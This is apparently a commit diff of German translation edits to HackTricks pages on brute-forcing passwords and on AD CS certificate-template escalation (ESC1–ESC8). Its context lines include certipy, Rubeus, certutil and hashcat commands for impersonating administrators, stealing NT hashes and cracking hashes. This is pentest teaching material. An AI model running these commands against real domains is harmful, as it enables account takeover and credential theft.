mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/brute-force.md', 'src/windows-hardening
This commit is contained in:
Translator
parent
3be67613dd
commit
4ca1752c17
@ -21,7 +21,7 @@
|
||||
|
||||
## **Erstellen Sie Ihre eigenen Wörterbücher**
|
||||
|
||||
Sammeln Sie so viele Informationen über das Ziel, wie Sie können, und erstellen Sie ein benutzerdefiniertes Wörterbuch. Tools, die helfen können:
|
||||
Sammeln Sie so viele Informationen über das Ziel, wie Sie können, und erstellen Sie ein benutzerdefiniertes Wörterbuch. Werkzeuge, die helfen können:
|
||||
|
||||
### Crunch
|
||||
```bash
|
||||
@ -309,7 +309,7 @@ legba pgsql --username admin --password wordlists/passwords.txt --target localho
|
||||
```
|
||||
### PPTP
|
||||
|
||||
Sie können das `.deb`-Paket zum Installieren von [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) herunterladen.
|
||||
Sie können das `.deb`-Paket von [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) herunterladen, um es zu installieren.
|
||||
```bash
|
||||
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
|
||||
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
|
||||
@ -402,7 +402,7 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
|
||||
```
|
||||
#### Schwache SSH-Schlüssel / Vorhersehbarer PRNG in Debian
|
||||
|
||||
Einige Systeme weisen bekannte Mängel im Zufallsseed auf, der zur Erzeugung kryptografischer Materialien verwendet wird. Dies kann zu einem dramatisch reduzierten Schlüsselraum führen, der mit Tools wie [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) bruteforced werden kann. Vorgefertigte Sets schwacher Schlüssel sind ebenfalls verfügbar, wie [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
Einige Systeme weisen bekannte Mängel im Zufallsseed auf, der zur Generierung kryptografischer Materialien verwendet wird. Dies kann zu einem dramatisch reduzierten Schlüsselraum führen, der mit Tools wie [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) bruteforced werden kann. Vorgefertigte Sets schwacher Schlüssel sind ebenfalls verfügbar, wie [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
|
||||
### STOMP (ActiveMQ, RabbitMQ, HornetQ und OpenMQ)
|
||||
|
||||
@ -592,7 +592,7 @@ Verwenden Sie [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2
|
||||
|
||||
### Open Office Pwd Geschützte Spalte
|
||||
|
||||
Wenn Sie eine xlsx-Datei mit einer durch ein Passwort geschützten Spalte haben, können Sie sie entsperren:
|
||||
Wenn Sie eine xlsx-Datei mit einer durch ein Passwort geschützten Spalte haben, können Sie sie aufheben:
|
||||
|
||||
- **Laden Sie sie in Google Drive hoch** und das Passwort wird automatisch entfernt
|
||||
- Um es **manuell** zu **entfernen**:
|
||||
@ -652,7 +652,7 @@ hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
|
||||
```
|
||||
- **Wordlist-Kombinator**-Angriff
|
||||
|
||||
Es ist möglich, **2 Wortlisten zu 1 zu kombinieren** mit hashcat.\
|
||||
Es ist möglich, **2 Wortlisten zu 1** mit hashcat zu kombinieren.\
|
||||
Wenn Liste 1 das Wort **"hello"** enthielt und die zweite 2 Zeilen mit den Wörtern **"world"** und **"earth"** enthielt. Die Wörter `helloworld` und `helloearth` werden generiert.
|
||||
```bash
|
||||
# This will combine 2 wordlists
|
||||
@ -715,7 +715,7 @@ Cracking von Linux-Hashes - /etc/shadow-Datei
|
||||
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
|
||||
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
|
||||
```
|
||||
Knacken von Windows-Hashes
|
||||
Windows-Hashes knacken
|
||||
```
|
||||
3000 | LM | Operating-Systems
|
||||
1000 | NTLM | Operating-Systems
|
||||
|
||||
@ -15,18 +15,18 @@
|
||||
### Fehlkonfigurierte Zertifikatvorlagen - ESC1 Erklärt
|
||||
|
||||
- **Die Anmelderechte werden von der Enterprise CA an Benutzer mit niedrigen Rechten gewährt.**
|
||||
- **Eine Genehmigung des Managers ist nicht erforderlich.**
|
||||
- **Keine Unterschriften von autorisiertem Personal sind erforderlich.**
|
||||
- **Sicherheitsbeschreibungen auf Zertifikatvorlagen sind übermäßig permissiv, was es Benutzern mit niedrigen Rechten ermöglicht, Anmelderechte zu erhalten.**
|
||||
- **Die Genehmigung des Managers ist nicht erforderlich.**
|
||||
- **Es sind keine Unterschriften von autorisiertem Personal erforderlich.**
|
||||
- **Sicherheitsbeschreibungen auf Zertifikatvorlagen sind zu großzügig, was es Benutzern mit niedrigen Rechten ermöglicht, Anmelderechte zu erhalten.**
|
||||
- **Zertifikatvorlagen sind so konfiguriert, dass sie EKUs definieren, die die Authentifizierung erleichtern:**
|
||||
- Erweiterte Schlüsselverwendungs (EKU) Identifikatoren wie Client-Authentifizierung (OID 1.3.6.1.5.5.7.3.2), PKINIT Client-Authentifizierung (1.3.6.1.5.2.3.4), Smart Card-Anmeldung (OID 1.3.6.1.4.1.311.20.2.2), Beliebiger Zweck (OID 2.5.29.37.0) oder keine EKU (SubCA) sind enthalten.
|
||||
- **Die Möglichkeit für Antragsteller, einen subjectAltName in der Zertifikatsanforderung (CSR) einzuschließen, wird durch die Vorlage erlaubt:**
|
||||
- Das Active Directory (AD) priorisiert den subjectAltName (SAN) in einem Zertifikat zur Identitätsverifizierung, wenn vorhanden. Das bedeutet, dass durch die Angabe des SAN in einer CSR ein Zertifikat angefordert werden kann, um sich als jeder Benutzer (z. B. ein Domänenadministrator) auszugeben. Ob ein SAN vom Antragsteller angegeben werden kann, wird im AD-Objekt der Zertifikatvorlage durch die Eigenschaft `mspki-certificate-name-flag` angezeigt. Diese Eigenschaft ist ein Bitmaskenwert, und das Vorhandensein des `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`-Flags erlaubt es dem Antragsteller, den SAN anzugeben.
|
||||
|
||||
> [!CAUTION]
|
||||
> Die beschriebene Konfiguration erlaubt es Benutzern mit niedrigen Rechten, Zertifikate mit beliebigem SAN ihrer Wahl anzufordern, was die Authentifizierung als jedes Domänenprinzip über Kerberos oder SChannel ermöglicht.
|
||||
> Die beschriebene Konfiguration erlaubt es Benutzern mit niedrigen Rechten, Zertifikate mit beliebigem SAN ihrer Wahl anzufordern, was die Authentifizierung als beliebiges Domänenprinzip über Kerberos oder SChannel ermöglicht.
|
||||
|
||||
Diese Funktion wird manchmal aktiviert, um die sofortige Erstellung von HTTPS- oder Hostzertifikaten durch Produkte oder Bereitstellungsdienste zu unterstützen oder aufgrund mangelnden Verständnisses.
|
||||
Dieses Feature wird manchmal aktiviert, um die sofortige Erstellung von HTTPS- oder Hostzertifikaten durch Produkte oder Bereitstellungsdienste zu unterstützen oder aufgrund mangelnden Verständnisses.
|
||||
|
||||
Es wird angemerkt, dass die Erstellung eines Zertifikats mit dieser Option eine Warnung auslöst, was nicht der Fall ist, wenn eine vorhandene Zertifikatvorlage (wie die `WebServer`-Vorlage, die `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` aktiviert hat) dupliziert und dann geändert wird, um eine Authentifizierungs-OID einzuschließen.
|
||||
|
||||
@ -49,7 +49,7 @@ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.lo
|
||||
```
|
||||
Die Windows-Binärdateien "Certreq.exe" und "Certutil.exe" können verwendet werden, um das PFX zu generieren: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
||||
|
||||
Die Aufzählung der Zertifikatvorlagen innerhalb des Konfigurationsschemas des AD Forest, insbesondere derjenigen, die keine Genehmigung oder Unterschriften erfordern, die über eine Client-Authentifizierung oder Smart Card Logon EKU verfügen und mit dem `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`-Flag aktiviert sind, kann durch Ausführen der folgenden LDAP-Abfrage erfolgen:
|
||||
Die Aufzählung der Zertifikatvorlagen innerhalb des AD-Forest-Konfigurationsschemas, insbesondere derjenigen, die keine Genehmigung oder Unterschriften erfordern, die über eine Client-Authentifizierung oder Smart Card Logon EKU verfügen und mit dem `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`-Flag aktiviert sind, kann durch Ausführen der folgenden LDAP-Abfrage erfolgen:
|
||||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
|
||||
```
|
||||
@ -59,10 +59,10 @@ Die Aufzählung der Zertifikatvorlagen innerhalb des Konfigurationsschemas des A
|
||||
|
||||
Das zweite Missbrauchsszenario ist eine Variation des ersten:
|
||||
|
||||
1. Die Anmelderechte werden von der Enterprise CA an niedrig privilegierte Benutzer vergeben.
|
||||
2. Die Anforderung der Genehmigung durch den Manager ist deaktiviert.
|
||||
1. Einschreiberechte werden von der Enterprise CA an niedrig privilegierte Benutzer vergeben.
|
||||
2. Die Anforderung für die Genehmigung durch den Manager ist deaktiviert.
|
||||
3. Die Notwendigkeit für autorisierte Unterschriften wird weggelassen.
|
||||
4. Ein zu permissiver Sicherheitsdescriptor auf der Zertifikatvorlage gewährt niedrig privilegierten Benutzern die Rechte zur Zertifikatsanmeldung.
|
||||
4. Ein zu permissiver Sicherheitsdescriptor auf der Zertifikatvorlage gewährt niedrig privilegierten Benutzern die Rechte zur Zertifikateinschreibung.
|
||||
5. **Die Zertifikatvorlage ist so definiert, dass sie die Any Purpose EKU oder keine EKU enthält.**
|
||||
|
||||
Die **Any Purpose EKU** erlaubt es einem Angreifer, ein Zertifikat für **jeden Zweck** zu erhalten, einschließlich Client-Authentifizierung, Server-Authentifizierung, Code-Signierung usw. Die gleiche **Technik, die für ESC3 verwendet wird**, kann genutzt werden, um dieses Szenario auszunutzen.
|
||||
@ -75,29 +75,29 @@ Um Vorlagen zu enumerieren, die diesem Szenario innerhalb des Konfigurationssche
|
||||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
|
||||
```
|
||||
## Fehlkonfigurierte Enrollment Agent Vorlagen - ESC3
|
||||
## Fehlkonfigurierte Enrollment-Agent-Vorlagen - ESC3
|
||||
|
||||
### Erklärung
|
||||
|
||||
Dieses Szenario ist wie das erste und zweite, aber **missbraucht** eine **andere EKU** (Certificate Request Agent) und **2 verschiedene Vorlagen** (daher hat es 2 Sets von Anforderungen),
|
||||
Dieses Szenario ist wie das erste und zweite, aber **missbraucht** eine **andere EKU** (Certificate Request Agent) und **2 verschiedene Vorlagen** (daher hat es 2 Sets von Anforderungen).
|
||||
|
||||
Die **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), bekannt als **Enrollment Agent** in der Microsoft-Dokumentation, erlaubt einem Principal, sich **im Namen eines anderen Benutzers** für ein **Zertifikat** zu **registrieren**.
|
||||
Die **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), bekannt als **Enrollment Agent** in der Microsoft-Dokumentation, erlaubt einem Principal, sich **im Namen eines anderen Benutzers** für ein **Zertifikat** **anzumelden**.
|
||||
|
||||
Der **„enrollment agent“** registriert sich in einer solchen **Vorlage** und verwendet das resultierende **Zertifikat, um einen CSR im Namen des anderen Benutzers zu co-signieren**. Er **sendet** dann den **co-signierten CSR** an die CA, registriert sich in einer **Vorlage**, die „enroll on behalf of“ **erlaubt**, und die CA antwortet mit einem **Zertifikat, das dem „anderen“ Benutzer gehört**.
|
||||
Der **„enrollment agent“** meldet sich in einer solchen **Vorlage** an und verwendet das resultierende **Zertifikat, um einen CSR im Namen des anderen Benutzers mitzuunterzeichnen**. Er **sendet** dann den **mitunterzeichneten CSR** an die CA, meldet sich in einer **Vorlage** an, die „enroll on behalf of“ **erlaubt**, und die CA antwortet mit einem **Zertifikat, das dem „anderen“ Benutzer gehört**.
|
||||
|
||||
**Anforderungen 1:**
|
||||
|
||||
- Die Enrollment-Rechte werden von der Enterprise CA an niedrig privilegierte Benutzer vergeben.
|
||||
- Die Enterprise CA gewährt Anmelderechte an niedrigprivilegierte Benutzer.
|
||||
- Die Anforderung für die Genehmigung durch den Manager wird weggelassen.
|
||||
- Keine Anforderung für autorisierte Unterschriften.
|
||||
- Der Sicherheitsdescriptor der Zertifikatvorlage ist übermäßig permissiv und gewährt niedrig privilegierten Benutzern Enrollment-Rechte.
|
||||
- Der Sicherheitsdescriptor der Zertifikatvorlage ist übermäßig permissiv und gewährt Anmelderechte an niedrigprivilegierte Benutzer.
|
||||
- Die Zertifikatvorlage enthält die Certificate Request Agent EKU, die die Anforderung anderer Zertifikatvorlagen im Namen anderer Principals ermöglicht.
|
||||
|
||||
**Anforderungen 2:**
|
||||
|
||||
- Die Enterprise CA gewährt niedrig privilegierten Benutzern Enrollment-Rechte.
|
||||
- Die Enterprise CA gewährt Anmelderechte an niedrigprivilegierte Benutzer.
|
||||
- Die Genehmigung des Managers wird umgangen.
|
||||
- Die Schema-Version der Vorlage ist entweder 1 oder übersteigt 2, und sie spezifiziert eine Anforderung für die Anwendungsrichtlinie, die die Certificate Request Agent EKU erfordert.
|
||||
- Die Schema-Version der Vorlage ist entweder 1 oder übersteigt 2, und sie gibt eine Anforderung für die Anwendungsrichtlinie an, die die Certificate Request Agent EKU erfordert.
|
||||
- Eine in der Zertifikatvorlage definierte EKU erlaubt die Domänenauthentifizierung.
|
||||
- Einschränkungen für Enrollment Agents werden auf der CA nicht angewendet.
|
||||
|
||||
@ -119,7 +119,7 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
|
||||
```
|
||||
Die **Benutzer**, die berechtigt sind, ein **Zertifikat für Einschreibungsagenten** zu **erhalten**, die Vorlagen, in denen Einschreibungs-**agenten** berechtigt sind, sich einzuschreiben, und die **Konten**, in deren Namen der Einschreibungsagent handeln kann, können durch Unternehmens-CA eingeschränkt werden. Dies wird erreicht, indem das `certsrc.msc` **Snap-In** geöffnet, **mit der rechten Maustaste auf die CA** geklickt, **Eigenschaften** ausgewählt und dann zum Tab „Einschreibungsagenten“ **navigiert** wird.
|
||||
|
||||
Es wird jedoch angemerkt, dass die **Standard**-Einstellung für CAs „**Einschreibungsagenten nicht einschränken**“ ist. Wenn die Einschränkung für Einschreibungsagenten von Administratoren aktiviert wird, bleibt die Standardkonfiguration äußerst permissiv. Sie erlaubt **Jedem** den Zugang zur Einschreibung in alle Vorlagen als beliebige Person.
|
||||
Es wird jedoch angemerkt, dass die **Standard**-Einstellung für CAs „**Einschreibungsagenten nicht einschränken**“ ist. Wenn die Einschränkung für Einschreibungsagenten von Administratoren aktiviert wird, bleibt die Standardeinstellung extrem permissiv. Sie erlaubt **Jedem** den Zugang zur Einschreibung in alle Vorlagen als beliebige Person.
|
||||
|
||||
## Verwundbare Zertifikatvorlagen-Zugriffskontrolle - ESC4
|
||||
|
||||
@ -143,9 +143,9 @@ Ein Beispiel für eine Privilegieneskalation wie die vorherige:
|
||||
|
||||
<figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ESC4 ist, wenn ein Benutzer Schreibberechtigungen über eine Zertifikatvorlage hat. Dies kann beispielsweise missbraucht werden, um die Konfiguration der Zertifikatvorlage zu überschreiben, um die Vorlage anfällig für ESC1 zu machen.
|
||||
ESC4 ist, wenn ein Benutzer Schreibberechtigungen über eine Zertifikatvorlage hat. Dies kann beispielsweise missbraucht werden, um die Konfiguration der Zertifikatvorlage zu überschreiben und die Vorlage anfällig für ESC1 zu machen.
|
||||
|
||||
Wie im obigen Pfad zu sehen ist, hat nur `JOHNPC` diese Berechtigungen, aber unser Benutzer `JOHN` hat den neuen `AddKeyCredentialLink`-Edge zu `JOHNPC`. Da diese Technik mit Zertifikaten zusammenhängt, habe ich diesen Angriff ebenfalls implementiert, der als [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) bekannt ist. Hier ist ein kleiner Vorgeschmack auf den `shadow auto`-Befehl von Certipy, um den NT-Hash des Opfers abzurufen.
|
||||
Wie wir im obigen Pfad sehen können, hat nur `JOHNPC` diese Berechtigungen, aber unser Benutzer `JOHN` hat den neuen `AddKeyCredentialLink`-Edge zu `JOHNPC`. Da diese Technik mit Zertifikaten zusammenhängt, habe ich diesen Angriff ebenfalls implementiert, der als [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) bekannt ist. Hier ist ein kleiner Vorgeschmack auf den `shadow auto`-Befehl von Certipy, um den NT-Hash des Opfers abzurufen.
|
||||
```bash
|
||||
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
|
||||
```
|
||||
@ -178,7 +178,7 @@ Die Sicherheit des PKI-Systems kann gefährdet sein, wenn es einem niedrig privi
|
||||
|
||||
Das im [**CQure Academy-Beitrag**](https://cqureacademy.com/blog/enhanced-key-usage) behandelte Thema berührt auch die Implikationen des **`EDITF_ATTRIBUTESUBJECTALTNAME2`**-Flags, wie von Microsoft dargelegt. Diese Konfiguration, wenn sie auf einer Zertifizierungsstelle (CA) aktiviert ist, erlaubt die Einbeziehung von **benutzerdefinierten Werten** im **subject alternative name** für **jede Anfrage**, einschließlich derjenigen, die aus Active Directory® erstellt werden. Folglich ermöglicht diese Bestimmung einem **Eindringling**, sich über **jede Vorlage** zu registrieren, die für die **Authentifizierung** im Domänenbereich eingerichtet ist—insbesondere solche, die für die Registrierung von **nicht privilegierten** Benutzern offen sind, wie die Standardbenutzervorlage. Infolgedessen kann ein Zertifikat gesichert werden, das es dem Eindringling ermöglicht, sich als Domänenadministrator oder **jede andere aktive Entität** innerhalb der Domäne zu authentifizieren.
|
||||
|
||||
**Hinweis**: Der Ansatz zur Hinzufügung von **alternativen Namen** in eine Certificate Signing Request (CSR) über das Argument `-attrib "SAN:"` in `certreq.exe` (als „Name-Wert-Paare“ bezeichnet) stellt einen **Kontrast** zur Ausnutzungsstrategie von SANs in ESC1 dar. Hier liegt der Unterschied darin, **wie Kontoinformationen verkapselt sind**—innerhalb eines Zertifikatsattributs, anstatt einer Erweiterung.
|
||||
**Hinweis**: Der Ansatz zur Hinzufügung von **alternativen Namen** in eine Zertifikatsanforderung (CSR) über das Argument `-attrib "SAN:"` in `certreq.exe` (als „Name-Wert-Paare“ bezeichnet) stellt einen **Kontrast** zur Ausnutzungsstrategie von SANs in ESC1 dar. Hier liegt der Unterschied darin, **wie Kontoinformationen verkapselt sind**—innerhalb eines Zertifikatsattributs, anstatt einer Erweiterung.
|
||||
|
||||
### Missbrauch
|
||||
|
||||
@ -209,7 +209,7 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ
|
||||
```
|
||||
> [!WARNING]
|
||||
> Nach den Sicherheitsupdates vom Mai 2022 enthalten neu ausgestellte **Zertifikate** eine **Sicherheits-erweiterung**, die die **`objectSid`-Eigenschaft des Anforderers** integriert. Für ESC1 wird diese SID aus dem angegebenen SAN abgeleitet. Für **ESC6** spiegelt die SID jedoch die **`objectSid` des Anforderers** wider, nicht das SAN.\
|
||||
> Um ESC6 auszunutzen, muss das System anfällig für ESC10 (Schwache Zertifikatzuordnungen) sein, das das **SAN über die neue Sicherheits-erweiterung** priorisiert.
|
||||
> Um ESC6 auszunutzen, muss das System anfällig für ESC10 (Schwache Zertifikatszuordnungen) sein, das das **SAN über die neue Sicherheits-erweiterung** priorisiert.
|
||||
|
||||
## Verwundbare Zertifizierungsstelle Zugriffssteuerung - ESC7
|
||||
|
||||
@ -217,7 +217,7 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ
|
||||
|
||||
#### Erklärung
|
||||
|
||||
Die Zugriffssteuerung für eine Zertifizierungsstelle wird durch eine Reihe von Berechtigungen aufrechterhalten, die die CA-Aktionen regeln. Diese Berechtigungen können eingesehen werden, indem man `certsrv.msc` aufruft, mit der rechten Maustaste auf eine CA klickt, Eigenschaften auswählt und dann zum Tab Sicherheit navigiert. Darüber hinaus können Berechtigungen mit dem PSPKI-Modul mit Befehlen wie: enumeriert werden.
|
||||
Die Zugriffssteuerung für eine Zertifizierungsstelle wird durch eine Reihe von Berechtigungen aufrechterhalten, die die CA-Aktionen regeln. Diese Berechtigungen können eingesehen werden, indem man `certsrv.msc` aufruft, mit der rechten Maustaste auf eine CA klickt, Eigenschaften auswählt und dann zum Tab Sicherheit navigiert. Darüber hinaus können Berechtigungen mit dem PSPKI-Modul unter Verwendung von Befehlen wie:
|
||||
```bash
|
||||
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
|
||||
```
|
||||
@ -252,17 +252,17 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
|
||||
#### Erklärung
|
||||
|
||||
> [!WARNING]
|
||||
> Im **vorherigen Angriff** wurden die Berechtigungen **`Manage CA`** verwendet, um das **EDITF_ATTRIBUTESUBJECTALTNAME2**-Flag zu **aktivieren**, um den **ESC6-Angriff** durchzuführen, aber dies hat keine Auswirkungen, bis der CA-Dienst (`CertSvc`) neu gestartet wird. Wenn ein Benutzer das Zugriffsrecht **`Manage CA`** hat, darf der Benutzer auch den **Dienst neu starten**. Es **bedeutet jedoch nicht, dass der Benutzer den Dienst remote neu starten kann**. Darüber hinaus **funktioniert ESC6 möglicherweise nicht sofort** in den meisten gepatchten Umgebungen aufgrund der Sicherheitsupdates von Mai 2022.
|
||||
> Im **vorherigen Angriff** wurden die Berechtigungen **`Manage CA`** verwendet, um das **EDITF_ATTRIBUTESUBJECTALTNAME2**-Flag zu **aktivieren**, um den **ESC6-Angriff** durchzuführen, aber dies hat keine Auswirkungen, bis der CA-Dienst (`CertSvc`) neu gestartet wird. Wenn ein Benutzer das Zugriffsrecht **`Manage CA`** hat, darf der Benutzer auch den **Dienst neu starten**. Es **bedeutet jedoch nicht, dass der Benutzer den Dienst remote neu starten kann**. Darüber hinaus **funktioniert ESC6 möglicherweise nicht sofort** in den meisten gepatchten Umgebungen aufgrund der Sicherheitsupdates vom Mai 2022.
|
||||
|
||||
Daher wird hier ein weiterer Angriff vorgestellt.
|
||||
|
||||
Voraussetzungen:
|
||||
|
||||
- Nur **`ManageCA`-Berechtigung**
|
||||
- **`Manage Certificates`**-Berechtigung (kann von **`ManageCA`** gewährt werden)
|
||||
- Nur die Berechtigung **`ManageCA`**
|
||||
- Berechtigung **`Manage Certificates`** (kann von **`ManageCA`** gewährt werden)
|
||||
- Das Zertifikat-Template **`SubCA`** muss **aktiviert** sein (kann von **`ManageCA`** aktiviert werden)
|
||||
|
||||
Die Technik beruht auf der Tatsache, dass Benutzer mit den Zugriffsrechten **`Manage CA`** _und_ **`Manage Certificates`** **fehlgeschlagene Zertifikatsanfragen** **ausstellen** können. Das Zertifikat-Template **`SubCA`** ist **anfällig für ESC1**, aber **nur Administratoren** können sich für das Template registrieren. Daher kann ein **Benutzer** **anfordern**, sich für die **`SubCA`** zu registrieren - was **abgelehnt** wird - aber **dann später vom Manager ausgestellt** wird.
|
||||
Die Technik beruht auf der Tatsache, dass Benutzer mit den Zugriffsrechten **`Manage CA`** _und_ **`Manage Certificates`** **fehlgeschlagene Zertifikatsanfragen** **ausstellen** können. Das Zertifikat-Template **`SubCA`** ist **anfällig für ESC1**, aber **nur Administratoren** können sich für das Template registrieren. Daher kann ein **Benutzer** **beantragen**, sich für die **`SubCA`** zu registrieren - was **abgelehnt** wird - aber **dann später vom Manager ausgestellt** wird.
|
||||
|
||||
#### Missbrauch
|
||||
|
||||
@ -318,17 +318,17 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
[*] Loaded private key from '785.key'
|
||||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
```
|
||||
## NTLM Relay zu AD CS HTTP Endpunkten – ESC8
|
||||
## NTLM Relay zu AD CS HTTP-Endpunkten – ESC8
|
||||
|
||||
### Erklärung
|
||||
|
||||
> [!NOTE]
|
||||
> In Umgebungen, in denen **AD CS installiert ist**, wenn ein **verwundbarer Web-Registrierungsendpunkt** existiert und mindestens eine **Zertifikatvorlage veröffentlicht ist**, die **die Registrierung von Domänencomputern und die Client-Authentifizierung** erlaubt (wie die Standard-**`Machine`**-Vorlage), wird es möglich, dass **jeder Computer mit aktivem Spooler-Dienst von einem Angreifer kompromittiert werden kann**!
|
||||
> [!TIP]
|
||||
> In Umgebungen, in denen **AD CS installiert ist**, wenn ein **anfälliger Web-Registrierungsendpunkt** existiert und mindestens eine **Zertifikatvorlage veröffentlicht ist**, die **die Registrierung von Domänencomputern und die Client-Authentifizierung** erlaubt (wie die Standard-**`Machine`**-Vorlage), wird es möglich, dass **jeder Computer mit aktivem Spooler-Dienst von einem Angreifer kompromittiert werden kann**!
|
||||
|
||||
Mehrere **HTTP-basierte Registrierungsverfahren** werden von AD CS unterstützt, die durch zusätzliche Serverrollen bereitgestellt werden, die Administratoren installieren können. Diese Schnittstellen für die HTTP-basierte Zertifikatsregistrierung sind anfällig für **NTLM-Relay-Angriffe**. Ein Angreifer kann von einem **kompromittierten Computer aus jedes AD-Konto impersonifizieren, das über eingehendes NTLM authentifiziert**. Während er das Opferkonto impersonifiziert, können diese Webschnittstellen von einem Angreifer genutzt werden, um **ein Client-Authentifizierungszertifikat mit den `User`- oder `Machine`-Zertifikatvorlagen anzufordern**.
|
||||
Mehrere **HTTP-basierte Registrierungsverfahren** werden von AD CS unterstützt, die durch zusätzliche Serverrollen verfügbar gemacht werden, die Administratoren installieren können. Diese Schnittstellen für die HTTP-basierte Zertifikatsregistrierung sind anfällig für **NTLM-Relay-Angriffe**. Ein Angreifer kann von einem **kompromittierten Rechner aus jedes AD-Konto impersonieren, das über eingehendes NTLM authentifiziert**. Während er das Opferkonto impersoniert, können diese Webschnittstellen von einem Angreifer genutzt werden, um **ein Client-Authentifizierungszertifikat mit den `User`- oder `Machine`-Zertifikatvorlagen anzufordern**.
|
||||
|
||||
- Die **Web-Registrierungsoberfläche** (eine ältere ASP-Anwendung, die unter `http://<caserver>/certsrv/` verfügbar ist), verwendet standardmäßig nur HTTP, was keinen Schutz gegen NTLM-Relay-Angriffe bietet. Darüber hinaus erlaubt sie ausdrücklich nur NTLM-Authentifizierung über ihren Authorization-HTTP-Header, wodurch sicherere Authentifizierungsmethoden wie Kerberos unbrauchbar werden.
|
||||
- Der **Zertifikatsregistrierungsdienst** (CES), der **Zertifikatsregistrierungspolitik** (CEP) Webdienst und der **Netzwerkgerät-Registrierungsdienst** (NDES) unterstützen standardmäßig die Verhandlungs-Authentifizierung über ihren Authorization-HTTP-Header. Die Verhandlungs-Authentifizierung **unterstützt sowohl** Kerberos als auch **NTLM**, was es einem Angreifer ermöglicht, während Relay-Angriffen auf NTLM-Authentifizierung **herunterzustufen**. Obwohl diese Webdienste standardmäßig HTTPS aktivieren, schützt HTTPS allein **nicht vor NTLM-Relay-Angriffen**. Schutz vor NTLM-Relay-Angriffen für HTTPS-Dienste ist nur möglich, wenn HTTPS mit Channel Binding kombiniert wird. Leider aktiviert AD CS keinen erweiterten Schutz für die Authentifizierung auf IIS, der für Channel Binding erforderlich ist.
|
||||
- Der **Zertifikatsregistrierungsdienst** (CES), der **Zertifikatsregistrierungspolitik** (CEP) Webdienst und der **Netzwerkgerätregistrierungsdienst** (NDES) unterstützen standardmäßig die Verhandlungsauthentifizierung über ihren Authorization-HTTP-Header. Die Verhandlungsauthentifizierung **unterstützt sowohl** Kerberos als auch **NTLM**, was es einem Angreifer ermöglicht, während Relay-Angriffen auf NTLM-Authentifizierung **herunterzustufen**. Obwohl diese Webdienste standardmäßig HTTPS aktivieren, schützt HTTPS allein **nicht vor NTLM-Relay-Angriffen**. Schutz vor NTLM-Relay-Angriffen für HTTPS-Dienste ist nur möglich, wenn HTTPS mit Channel Binding kombiniert wird. Leider aktiviert AD CS keinen erweiterten Schutz für die Authentifizierung auf IIS, der für Channel Binding erforderlich ist.
|
||||
|
||||
Ein häufiges **Problem** bei NTLM-Relay-Angriffen ist die **kurze Dauer von NTLM-Sitzungen** und die Unfähigkeit des Angreifers, mit Diensten zu interagieren, die **NTLM-Signing** erfordern.
|
||||
|
||||
@ -338,7 +338,7 @@ Dennoch wird diese Einschränkung überwunden, indem ein NTLM-Relay-Angriff ausg
|
||||
account-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
Eine weitere Einschränkung von NTLM-Relay-Angriffen ist, dass **ein vom Angreifer kontrollierter Computer von einem Opferkonto authentifiziert werden muss**. Der Angreifer könnte entweder warten oder versuchen, diese Authentifizierung zu **erzwingen**:
|
||||
